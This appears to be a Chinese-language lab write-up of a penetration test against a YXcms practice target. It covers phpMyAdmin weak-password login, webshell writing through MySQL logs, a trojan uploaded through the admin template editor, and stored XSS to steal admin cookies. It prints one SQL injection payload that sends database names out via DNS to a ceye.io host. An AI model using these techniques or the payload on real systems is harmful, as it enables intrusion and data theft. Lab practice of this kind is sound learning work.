一次对YXcms靶场的测试记录
信息收集
登录目标网址
登录目标网址,会发现是phpstudy的探针,从中可以获取一些关于目标网站的信息
- 网站有phpinfo,php版本是5.4.5
- 服务器用的是apache2.4.23
- 网站会显示错误信息
- mysql数据库
- 使用了phpstudy
以上这些是我目前能察觉到危险的信息
补充:关于目标网站分析的插件:wappalyzer
js接口
目前不知道如何判断js文件里有没有有用信息
目录扫描
phpinfo.php
phpmyadmin
beifen.rar
robots.txt
端口扫描
结果
看到了445端口,win7的系统
进入yxcms
通过phpmyadmin的弱口令进入管理页面植入shell后,发现目标站点在根目录下布置了一个网站yxcms
信息收集
浏览网页信息
- 发现在公告栏处公布了后台地址、账户、密码
- 找到可以留言的文章,留言后需要管理员审核
目录扫描
robots.txt
无有用信息
phblic
网站的一些源代码,但我目前读不懂代码,不清楚有没有有用信息
upload
网站的一些基本信息,主要为图片
protected
- 点击目录下各文件,在adminApi.php文件出现报错信息,得到绝对路径
点遍所有目录下文件,没发现其他有用信息
httpd.ini
无可用信息
升级日志.txt
可以得到版本是1.2.1,在得到网站使用的cms和版本号,我们可以在百度搜对应的漏洞来利用,参考这篇:https://www.ebounce.cn/web/yxcms.html
漏洞测试
永恒之蓝
利用kail的msfconsole
一顿操作猛如虎,就是进不去,利用失败
phpmyadmin
获取版本号
失败~ 、~
获取当前phpmyadmin版本号的方法
在根目录下添加:
- README
- ChangeLog
- doc/html/index.html
- Change
- changelog.php
- readme.php
- Documetation.html
- Documetation.txt
- translators.html
尝试账号
尝试了可以任意登陆的账号,结果均失败~ 、~
准备暴力破解账号
试了admin,admin。它的账号和密码其实是root,root。
mysql数据库的默认用户和密码是:root,root
获取绝对路径
因为目录扫描时我们获得了phpinfo.php文件,可在里面获得目标的绝对路径
写shell
正常导出获取shell
判断是否可写
为null代表禁止写入
不能在根路径下写入文件
通过日志写入webshell
开启日志记录
查看当前的日志记录
指定日志文件
写入恶意代码
shell连接
通过慢查询写如webshell
查询当前慢查询日志目录
重新设置路径
开启慢查询日志
写入日志
shell连接
再次尝试正常导出获取webshell
修改secure_file_priv后的值为空
但结果失败
试着重启一下靶场的服务
这就很尴尬,实际渗透中,如果你已经通过其它方式获取到了shell,则没有必要去通过直接导出的方式。
后台
进入后台
点击各个功能模块
第一遍各个点了一遍没有发现什么可以利用的模块
网上找了文章,发现自己错过了一个可利用模块,对网站的结构不敏感
新建模板,上传一句话木马
如何确定刚才模板文件的路径
我也不知道,新建立的模板文件上传到哪个路径了,但是我们不是获得了一个备份文件吗,解压后,用搜索文件软件listary进行搜索目标模板位置已有的文件,可确定路径
连接shell
XSS
插入xss代码
进入后台审核
当然,这是建立在管理员什么都不懂的情况下,如果管理员看懂了代码,直接删除这条留言;也可能会有攻击者留一段正常的留言,比如对这个网站的喜欢和适用中的意见,但是文字靠后部分插入了一段代码。
结果(失败)
结果分析:输出了我们输入的内容没有过滤,但是没有产生对应的弹窗结果。也没有过滤特殊符号。
其他位置尝试
依然失败,我们输入的地方可能不对
网上找资料
会发现成功的地方在留言本这里,会发现测xss漏洞的原则是一切可以进行输入的地方
再一次插入xss代码
审核(进入审核界面,首先弹出来弹窗)
审核后
利用xss平台获取cookie
平台获取数据
后台SQL注入
漏洞所在位置
代理抓包
构造payload
payload:and if ((select load_file(concat('\\',(select database()),'.xxxx.ceye.io\abc'))),1,1))--
攻击结果
补充
- 要注意在burp suite里的文字格式设置为英文字体,否则会出现引号的不匹配问题。
- 刚开始渗透的我们很难一开始就分析代码,找到漏洞所在,但是我们刻意利用搜索引擎找到目标适用版本对应的漏洞来进行验证是否存在,这个过程是从0到1的过程,0与1之间会有很多中间阶段